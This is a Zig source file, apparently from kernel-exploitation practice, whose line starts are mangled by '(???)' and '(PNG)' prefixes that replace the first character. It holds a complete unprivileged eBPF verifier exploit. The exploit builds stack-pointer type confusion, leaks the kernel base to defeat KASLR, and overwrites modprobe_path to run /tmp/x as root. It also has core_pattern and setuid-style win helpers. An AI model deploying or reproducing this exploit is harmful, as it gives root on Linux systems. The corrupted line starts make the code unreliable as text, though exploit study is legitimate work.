(???) onst std = @import("std");
 (???) onst linux = std.os.linux;
 (???) onst posix = std.posix;
 (PNG) ub const std_options = std.Options{
 (???)    .log_level = if (@hasDecl(@This(), "DEBUG")) .debug else .info,
 (???)    .logFn = pawnyableLogger,
 (???) ;
 (PNG) ub fn pawnyableLogger(
 (???)    comptime level: std.log.Level,
 (???)    comptime _: @Type(.enum_literal),
 (???)    comptime format: []const u8,
 (???)    args: anytype,
 (???)  void {
 (???)    const prefix = "[" ++ comptime blk: {
 (???)        const level_text = switch (level) {
 (???)            .debug => "DBUG",
 (???)            .info => "INFO",
 (???)            .warn => "WARN",
 (???)            .err => "ERRR",
 (???)        };
 (???)        var buf: [level_text.len]u8 = undefined;
 (???)        break :blk std.ascii.upperString(&buf, level_text);
 (???)    } ++ "] ";
 (???)    std.debug.lockStdErr();
 (???)    defer std.debug.unlockStdErr();
 (???)    const stderr = std.io.getStdErr().writer();
 (???)    nosuspend stderr.print(prefix ++ format ++ "\n", args) catch return;
 (???) 
 (???) n bigEndianify(comptime len: usize, buf: []const u8) [len]u8 {
 (???)    var bufLE: [len]u8 = undefined;
 (???)    inline for (0..len) |i| bufLE[i] = buf[len - 1 - i];
 (???)    return bufLE;
 (???) 
 (???) ar __spinlock: bool = false;
       nline fn spin() void {
 (???)    while (true) if (__spinlock) break;
 (???) 
 (???) xport var user_cs: u64 = 0;
 (???) xport var user_ss: u64 = 0;
 (???) xport var user_rsp: u64 = 0;
 (???) xport var user_rflags: u64 = 0;
 (???) n saveState() callconv(.C) void {
 (???)    asm volatile (
 (???)        \\.intel_syntax noprefix
 (???)        \\mov user_cs, cs
 (???)        \\mov user_ss, ss
 (???)        \\mov user_rsp, rsp
 (???)        \\pushfq
 (???)        \\pop qword ptr user_rflags
 (???)        \\.att_syntax
 (???)    );
 (???) 
 (???) n whoami() void {
 (???)    std.log.info("You won!!", .{});
 (???)    const args = [_:null]?[*:0]const u8{"/usr/bin/whoami"};
 (???)    const env = [_:null]?[*:0]u8{};
 (???)    switch (posix.execveZ("/usr/bin/whoami", args[0..args.len], env[0..env.len])) {
 (???)        else => unreachable,
 (???)    }
 (???)    unreachable;
 (???) 
 (???) n modprobePath() void {
 (???)    std.log.info("You won!!", .{});
 (???)    const tmpx = std.fs.cwd().createFile(
 (???)        "/tmp/x",
 (???)        .{
 (???)            .read = true,
 (???)            .mode = 0o777,
 (???)        },
 (???)    ) catch unreachable;
 (???)    tmpx.writeAll(
 (???)        \\#!/bin/sh
 (???)        \\/usr/bin/whoami &> /tmp/whoisit
 (???)        \\chmod 777 /tmp/whoisit
 (???)    ) catch unreachable;
 (???)    tmpx.close();
 (???)    const unknown = std.fs.cwd().createFile(
 (???)        "/tmp/unknown",
 (???)        .{
 (???)            .read = true,
 (???)            .mode = 0o777,
 (???)        },
 (???)    ) catch unreachable;
 (???)    unknown.writeAll(&[_]u8{0xff} ** 4) catch unreachable;
 (???)    unknown.close();
 (???)    posix.exit(0);
 (???) 
 (???) n corePattern() void {
 (???)    std.log.info("You won!!", .{});
 (???)    const tmpx = std.fs.cwd().createFile(
 (???)        "/tmp/x",
 (???)        .{
 (???)            .read = true,
 (???)            .mode = 0o777,
 (???)        },
 (???)    ) catch unreachable;
 (???)    tmpx.writeAll(
 (???)        \\#!/bin/sh
 (???)        \\/usr/bin/whoami &> /tmp/whoisit
 (???)        \\chmod 777 /tmp/whoisit
 (???)    ) catch unreachable;
 (???)    tmpx.close();
 (???)    switch (posix.fork() catch unreachable) {
 (???)        0 => posix.abort(),
 (???)        else => |pid| _ = posix.waitpid(pid, 0),
 (???)    }
 (???)    const flag = std.fs.openFileAbsolute("/tmp/whoisit", .{}) catch {
 (???)        std.log.err("Failed to open /tmp/whoisit", .{});
 (???)        posix.abort();
 (???)    };
 (???)    defer flag.close();
 (???)    std.debug.print("{s}", .{(tmpx.reader().readBoundedBytes(32) catch unreachable).constSlice()});
 (???)    posix.exit(0);
 (???) 
 (???) n catchSigsegv(comptime handler: *const fn () void) void {
 (???)    const wrapper = struct {
 (???)        fn wrapper(_: i32) callconv(.C) void {
 (???)            handler();
 (???)        }
 (???)    }.wrapper;
 (???)    const sigact = posix.Sigaction{
 (???)        .handler = .{ .handler = &wrapper },
 (???)        .mask = posix.empty_sigset,
 (???)        .flags = 0,
 (???)    };
 (???)    posix.sigaction(posix.SIG.SEGV, &sigact, null);
 (???) 
 (???) onst BPF = linux.BPF;
 (???) onst AF = linux.AF;
 (???) onst SOCK = linux.SOCK;
 (???) onst SOL = linux.SOL;
 (???) onst SO = linux.SO;
 (???) / broken in 0.14.1
 (???) n _ld_dw1(dst: BPF.Insn.Reg, imm: u64) BPF.Insn {
 (???)    return .{
 (???)        .code = BPF.LD | BPF.DW | BPF.IMM,
 (???)        .dst = @intFromEnum(dst),
 (???)        .src = @intFromEnum(BPF.Insn.Reg.r0),
 (???)        .off = 0,
 (???)        .imm = @as(i32, @bitCast(@as(u32, @truncate(imm)))),
 (???)    };
 (???) 
 (???) n _ld_dw2(imm: u64) BPF.Insn {
 (???)    return .{
 (???)        .code = 0,
 (???)        .dst = 0,
 (???)        .src = 0,
 (???)        .off = 0,
 (???)        .imm = @as(i32, @bitCast(@as(u32, @truncate(imm >> 32)))),
 (???)    };
 (???) 
 (???) n bpf_helper(mapfd: posix.fd_t, insns: []const BPF.Insn, input: []const u8) !void {
 (???)    try BPF.map_update_elem(mapfd, &std.mem.toBytes(@as(i32, 0)), &.{1}, BPF.ANY);
 (???)    var verifier_log: [0x20000]u8 = undefined;
 (???)    var log = BPF.Log{ .buf = &verifier_log, .level = 2 };
 (???)    errdefer std.log.err("BPF Verifier output:\n{s}", .{std.mem.sliceTo(&verifier_log, 0)});
 (???)    const progfd = try BPF.prog_load(.socket_filter, insns, &log, "GPL v2", 0, 0);
 (???)    var socks: [2]linux.fd_t = undefined;
 (???)    switch (posix.errno(linux.socketpair(AF.UNIX, SOCK.DGRAM, 0, &socks))) {
 (???)        .SUCCESS => {},
 (???)        else => |e| return posix.unexpectedErrno(e),
 (???)    }
 (???)    switch (posix.errno(linux.setsockopt(socks[0], SOL.SOCKET, SO.ATTACH_BPF, std.mem.asBytes(&progfd), 4))) {
 (???)        .SUCCESS => {},
 (???)        else => |e| return posix.unexpectedErrno(e),
 (???)    }
 (???)    _ = try posix.write(socks[1], input);
 (???) 
 (???) n confirm_unpriviledged_bpf() !void {
 (???)    // demonstrate that we don't have CAP_BPF or CAP_SYS_ADMIN by confirming that we can't load a BPF program that requires elevated capabilities.
 (???)    const insns = [_]BPF.Insn{
 (???)        .{
 (???)            .code = BPF.CALL | BPF.JMP,
 (???)            .dst = 0,
 (???)            .src = 1,
 (???)            .off = 0,
 (???)            .imm = 2,
 (???)        },
 (???)        .mov(.r0, 0),
 (???)        .exit(),
 (???)    } ++ [_]BPF.Insn{
 (???)        .mov(.r0, 0),
 (???)        .exit(),
 (???)    };
 (???)    if (BPF.prog_load(.socket_filter, &insns, null, "GPL v2", 0, 0)) |_| {
 (???)        std.log.warn("User is bpf_capable! (Are you running this as root?)", .{});
 (???)    } else |err| switch (err) {
 (???)        error.AccessDenied => std.log.info("User is not bpf_capable", .{}),
 (???)        else => return err,
 (???)    }
 (???) 
 (???) ar MODPROBE_PATH: u64 = 0xffffffff81e37fe0;
 (???) onst BPF_USER_RND_U32: u64 = 0xffffffff810e4590;
 (???) n call_decoder(address: u64, insn: []const u8) u64 {
 (???)    const builtin = @import("builtin");
 (???)    std.debug.assert(builtin.target.cpu.arch == .x86_64);
 (???)    std.debug.assert(insn[0] == 0xe8 and insn.len == 5);
 (???)    return 0xffffffff00000000 | ((address + insn.len) +% std.mem.bytesToValue(u64, insn[1..5]));
 (???) 
 (???) n exploit_prologue(mapfd: posix.fd_t) [26]BPF.Insn {
 (???)    return [_]BPF.Insn{
 (???)        .mov(.r6, .r1),
 (???)        .st(.double_word, .r10, -0x8, 0),
 (???)        .ld_map_fd1(.r1, mapfd),
 (???)        .ld_map_fd2(mapfd),
 (???)        .mov(.r2, .r10),
 (???)        .add(.r2, -0x8),
 (???)        .call(.map_lookup_elem),
 (???)        .jmp(.jne, .r0, 0, 2),
 (???)        .mov(.r0, 0),
 (???)        .exit(),
 (???)        .mov(.r9, .r0),
 (???)        .ldx(.double_word, .r1, .r9, 0),
 (???)        .rsh(.r1, 32),
 (???)        .lsh(.r1, 32),
 (???)        .alu(64, .mov, .r2, @as(i32, @bitCast(@as(u32, 0xfffffffe)))),
 (???)        .lsh(.r2, 32),
 (???)        .add(.r2, 1),
 (???)        .alu_or(.r1, .r2),
 (???)        // R1 \in [1, 0] = 1
 (???)        .ldx(.double_word, .r2, .r9, 0),
 (???)        .jmp(.jle, .r2, 1, 2),
 (???)        .mov(.r0, 0),
 (???)        .exit(),
 (???)        // R2 \in [0, 1] = 1
 (???)        .add(.r1, .r2),
 (???)        .alu(32, .mov, .r1, .r1),
 (???)        .sub(.r1, 1),
 (???)        .stx(.double_word, .r10, -0x10, .r1),
 (???)    };
 (???) 
 (???) n exploit_stack_confusion() [155]BPF.Insn {
 (???)    // results are stored in r7 (a frame pointer that the verifier thinks points to fp-0x18 but doesn't) and r8 (a frame pointer that points to the same place as the corrupted frame pointer but it is consistent with the verifier)
 (???)    // in other words, use r8 to load a malicious value, load the innocent value into r10-0x18, and load from r7 to get type confusion
 (???)    var ret: [155]BPF.Insn = undefined;
 (???)    const _insns = comptime blk: {
 (???)        var insns: []const BPF.Insn = &.{};
 (???)        insns = insns ++ [_]BPF.Insn{
 (???)            // load fp-0x18 on the stack
 (???)            .mov(.r1, .r10),
 (???)            .add(.r1, -0x20),
 (???)            .stx(.double_word, .r10, -0x18, .r1),
 (???)            .mov(.r1, .r6), // skb->data == "foobared\x00\x08"
 (???)            .mov(.r2, 0),
 (???)            // 8 bytes before the last byte of the to-be-corrupted stack pointer
 (???)            .mov(.r3, .r10),
 (???)            .add(.r3, -0x20),
 (???)            // r4 (expected: 0x8, actual: 0x9)
 (???)            .ldx(.double_word, .r4, .r10, -0x10),
 (???)            .add(.r4, 0x8),
 (???)            .call(.skb_load_bytes),
 (???)            // r7 = (fp-0x20) - [0, 0xf8]
 (???)            .ldx(.double_word, .r7, .r10, -0x18),
 (???)        };
 (???)        // zero out the stack
 (???)        for (1..0xf8 / 8 + 1) |_i| {
 (???)            const i: i16 = @intCast(_i);
 (???)            insns = insns ++ [_]BPF.Insn{
 (???)                .st(.double_word, .r10, -0x18 - 8 * i, 0),
 (???)            };
 (???)        }
 (???)        insns = insns ++ [_]BPF.Insn{
 (???)            // load a special value somewhere on the stack
 (???)            .ldx(.double_word, .r1, .r9, 0),
 (???)            .stx(.double_word, .r7, 0, .r1), // r1 == 1, but the verifier doesn't know that
 (???)            // special case for if the pointer was left unchanged
 (???)            .ldx(.double_word, .r1, .r10, -0x20),
 (???)            .jmp(.jne, .r1, 1, 14),
 (???)            // this will always result in r7 being (expected: fp-0x20, actual: fp-0x18)
 (???)            .mov(.r1, .r10),
 (???)            .add(.r1, -0x20),
 (???)            .stx(.double_word, .r10, -0x18, .r1),
 (???)            .mov(.r1, .r6),
 (???)            .mov(.r2, 1), // now the last byte is 0x8, not 0x0
 (???)            .mov(.r3, .r10),
 (???)            .add(.r3, -0x20),
 (???)            .ldx(.double_word, .r4, .r10, -0x10),
 (???)            .add(.r4, 0x8),
 (???)            .call(.skb_load_bytes),
 (???)            .ldx(.double_word, .r7, .r10, -0x18),
 (???)            .mov(.r8, .r10),
 (???)            .add(.r8, -0x18),
 (???)            .jmp(.ja, .r0, 0, (0xf8 / 8) * 3 + 2), // "exit" by skipping the rest of the program
 (???)            .mov(.r8, .r10),
 (???)            .add(.r8, -0x18),
 (???)        };
 (???)        // search the stack for the special value
 (???)        for (1..0xf8 / 8 + 1) |_i| {
 (???)            const i: i16 = @intCast(_i);
 (???)            insns = insns ++ [_]BPF.Insn{
 (???)                .add(.r8, -0x8),
 (???)                .ldx(.double_word, .r1, .r8, 0),
 (???)                .jmp(.jeq, .r1, 1, (0xf8 / 8 - i) * 3),
 (???)            };
 (???)        }
 (???)        break :blk &insns;
 (???)    };
 (???)    @memcpy(&ret, _insns.*);
 (???)    return ret;
 (???) 
 (???) n overwrite_modprobe_path() !void {
 (???)    const mapfd: i32 = try BPF.map_create(.array, @sizeOf(i32), @sizeOf(u64), 1);
 (???)    const insns = exploit_prologue(mapfd) ++ exploit_stack_confusion() ++ [_]BPF.Insn{
 (???)        // type confusion of r1 (expected: fp-0x8, actual: MODPROBE_PATH)
 (???)        _ld_dw1(.r1, MODPROBE_PATH),
 (???)        _ld_dw2(MODPROBE_PATH),
 (???)        .stx(.double_word, .r8, 0, .r1),
 (???)        .mov(.r1, .r10),
 (???)        .add(.r1, -0x8),
 (???)        .stx(.double_word, .r10, -0x20, .r1),
 (???)        .ldx(.double_word, .r1, .r7, 0),
 (???)        _ld_dw1(.r2, std.mem.bytesAsValue(u64, "/tmp/x\x00").*),
 (???)        _ld_dw2(std.mem.bytesAsValue(u64, "/tmp/x\x00").*),
 (???)        .stx(.double_word, .r1, 0, .r2),
 (???)        .mov(.r0, 0),
 (???)        .exit(),
 (???)    };
 (???)    try bpf_helper(mapfd, &insns, "foobar");
 (???) 
 (???) n kaslr_leak() !u64 {
 (???)    const mapfd: i32 = try BPF.map_create(.array, @sizeOf(i32), @sizeOf(u64), 3);
 (???)    const insns = exploit_prologue(mapfd) ++ exploit_stack_confusion() ++ [_]BPF.Insn{
 (???)        // type confusion: r1 (expected: scalar, actual: fp)
 (???)        .stx(.double_word, .r8, 0, .r10),
 (???)        .st(.double_word, .r10, -0x20, 0xdead),
 (???)        .ldx(.double_word, .r1, .r7, 0),
 (???)        .add(.r1, -0x190), // fp-0x190, this is where the saved return address is stored
 (???)        // construct a fake skb on the stack
 (???)        .stx(.double_word, .r8, -0x8, .r1), // skb->data == fp-0x110
 (???)        .st(.double_word, .r8, -(0x8 + (0xb8 - 0x68)), 0x100), // skb->data_len == 0xcafe
 (???)        .mov(.r1, .r8),
 (???)        .add(.r1, -(0x8 + 0xb8)), // &skb
 (???)        .stx(.double_word, .r8, 0, .r1),
 (???)        // type confusion: r1 (expected: ctx, actual: fp-)
 (???)        .stx(.double_word, .r10, -0x20, .r6),
 (???)        .ldx(.double_word, .r1, .r7, 0),
 (???)        .mov(.r2, 0),
 (???)        .mov(.r3, .r8),
 (???)        .add(.r3, -0x10),
 (???)        .mov(.r4, 8),
 (???)        .call(.skb_load_bytes),
 (???)        // the address of this instruction is now in r8-0x10
 (???)        .{
 (???)            .code = BPF.CALL | BPF.JMP,
 (???)            .dst = 0,
 (???)            .src = 0,
 (???)            .off = 0,
 (???)            .imm = 7,
 (???)        },
 (???)        // map[1] = &call_instruction
 (???)        .ld_map_fd1(.r1, mapfd),
 (???)        .ld_map_fd2(mapfd),
 (???)        .st(.double_word, .r10, -0x8, 1),
 (???)        .mov(.r2, .r10),
 (???)        .add(.r2, -0x8),
 (???)        .mov(.r3, .r8),
 (???)        .add(.r3, -0x10),
 (???)        .mov(.r4, 0),
 (???)        .call(.map_update_elem),
 (???)        // type confusion: r1 (expected: fp-0x8, actual: &call_instruction)
 (???)        .ldx(.double_word, .r1, .r8, -0x10),
 (???)        .stx(.double_word, .r8, 0, .r1),
 (???)        .mov(.r1, .r10),
 (???)        .add(.r1, -0x8),
 (???)        .stx(.double_word, .r10, -0x20, .r1),
 (???)        .ldx(.double_word, .r1, .r7, 0),
 (???)        // map[2] = call_instruction
 (???)        .mov(.r3, .r1),
 (???)        .ld_map_fd1(.r1, mapfd),
 (???)        .ld_map_fd2(mapfd),
 (???)        .st(.double_word, .r10, -0x8, 2),
 (???)        .mov(.r2, .r10),
 (???)        .add(.r2, -0x8),
 (???)        .mov(.r4, 0),
 (???)        .call(.map_update_elem),
 (???)        .mov(.r0, 0),
 (???)        .exit(),
 (???)    };
 (???)    // idk why but adding \x00\x08 to the end doesn't work as expected
 (???)    try bpf_helper(mapfd, &insns, "foobared");
 (???)    var buf: [2]u64 = undefined;
 (???)    for (0..2) |i| try BPF.map_lookup_elem(mapfd, &std.mem.toBytes(@as(i32, @intCast(i + 1))), std.mem.asBytes(&buf[i]));
 (???)    return call_decoder(buf[0], std.mem.asBytes(&buf[1])[0..5]) - BPF_USER_RND_U32;
 (???) 
 (PNG) ub fn main() !void {
 (???)    try confirm_unpriviledged_bpf();
 (???)    const kaslr_offset = try kaslr_leak();
 (???)    std.log.info("Kernel base: 0x{s}", .{std.fmt.bytesToHex(bigEndianify(8, std.mem.asBytes(&(kaslr_offset + 0xffffffff81000000))), .lower)});
 (???)    MODPROBE_PATH += kaslr_offset;
 (???)    try overwrite_modprobe_path();
 (???)    modprobePath();
 (???)